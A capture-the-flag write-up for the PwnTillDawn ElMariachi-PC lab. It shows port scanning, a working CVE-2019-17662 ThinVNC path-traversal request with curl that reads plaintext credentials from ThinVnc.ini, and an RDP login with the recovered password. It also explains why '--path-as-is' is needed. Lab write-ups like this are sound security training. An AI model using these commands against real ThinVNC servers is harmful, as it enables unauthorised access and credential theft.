PwnTillDawn ElMariachi-PC (10.150.150.69) Writeup

Platform: PwnTillDawn Online Battlefield by wizlynx group
Difficulty: Easy
Operating System: Windows 10 (Build 17763)

0x00 Recon

Port Scan

Scan all 65535 ports with nmap:

nmap -Pn -p- 10.150.150.69 --min-rate 3000

Plenty of ports are open, but the meaningful services are:

The remaining 49664-49670 are Windows RPC dynamic ports, and 50417 is an unrelated service.

Service Version Detection

nmap -Pn -p 135,139,445,3389,5040,60000 -sV -sC 10.150.150.69

The RDP NTLM info leaked the hostname:

Target_Name: ELMARIACHI-PC
Product_Version: 10.0.17763

Port 60000 responded with HTTP 401, and the header gave away the key detail:

WWW-Authenticate: Digest realm="ThinVNC", qop="auth", nonce="...", opaque="..."

That confirms port 60000 is running ThinVNC, a lightweight web-based VNC remote desktop tool.

Trying Anonymous SMB Access

smbclient -L //10.150.150.69 -N
enum4linux -a 10.150.150.69

SMB doesn't allow anonymous access (NT_STATUS_ACCESS_DENIED), and the null session is rejected. Dead end.

0x01 Vulnerability Identification

ThinVNC Path Traversal (CVE-2019-17662)

ThinVNC 1.0b1 has a path traversal vulnerability. When the server processes the URL path of an HTTP request, it fails to filter or normalize ../, so an attacker can read arbitrary files on the server.

The most direct way to exploit it is to read ThinVNC's own config file ThinVnc.ini, which stores the username and password in plaintext.

0x02 Exploitation

Grabbing Plaintext Credentials via Path Traversal

curl --path-as-is "http://10.150.150.69:60000/xyz/../../ThinVnc.ini"

Successfully retrieved the config file contents:

[Authentication]
Unicode=0
User=desperado
Password=Redacted
Type=Digest
[Http]
Port=60000
Enabled=1

Credentials obtained:

• User: desperado
• Password: Redacted

Deep Dive: --path-as-is and Path Traversal

There's an easy trap to fall into here. Without --path-as-is, curl will normalize the ../ in the URL path on the client side:

# without --path-as-is
curl "http://target/xyz/../../ThinVnc.ini"
# after curl normalizes, what actually gets sent → GET /ThinVnc.ini
# the ../ gets eaten by the client, so the traversal payload never reaches the server

# with --path-as-is
curl --path-as-is "http://target/xyz/../../ThinVnc.ini"
# sent verbatim → GET /xyz/../../ThinVnc.ini
# the server receives the full traversal path and the vuln fires

Browsers normalize the URL path too, so pasting the traversal URL into the browser address bar won't work.

Worth noting: this only affects ../ in the URL path. When an LFI payload sits in a query parameter (like ?page=../../etc/passwd), neither the browser nor curl will touch it.

RDP Login

Connect over RDP with the credentials we obtained:

xfreerdp /v:10.150.150.69 /u:desperado /p:'TooComplicatedToGuessMeAhahahahahahahh' /cert:ignore /w:1920 /h:1080

Logged in to the desktop successfully as user desperado.

0x03 FLAG

FLAG67 is sitting right there on the desktop.

FLAG67: Redacted

0x04 Attack Chain Summary

Port Scan → discover 60000/tcp (ThinVNC)
    → CVE-2019-17662 path traversal reads ThinVnc.ini
    → obtain plaintext credentials (desperado)
    → RDP login
    → FLAG!

Vulnerability List

Lessons Learned

This was my first Windows machine. Compared to Linux boxes, Windows adds attack surface like SMB, RDP, and WinRM, so there are more ports to pay attention to during recon.

There were two core takeaways from this box:

1. Always investigate non-standard high ports — if you only scan the top 1000 ports you'll completely miss the ThinVNC on 60000. Don't skimp on the full port scan.
2. When a path traversal payload lives in the URL path, both the browser and curl will eat the ../ by default — you have to use curl --path-as-is or manually edit the raw request in Burp Repeater. This is different from an LFI in a query parameter, which isn't affected. I didn't know this before, so from now on I'll remember it whenever I'm hitting path-traversal-style bugs.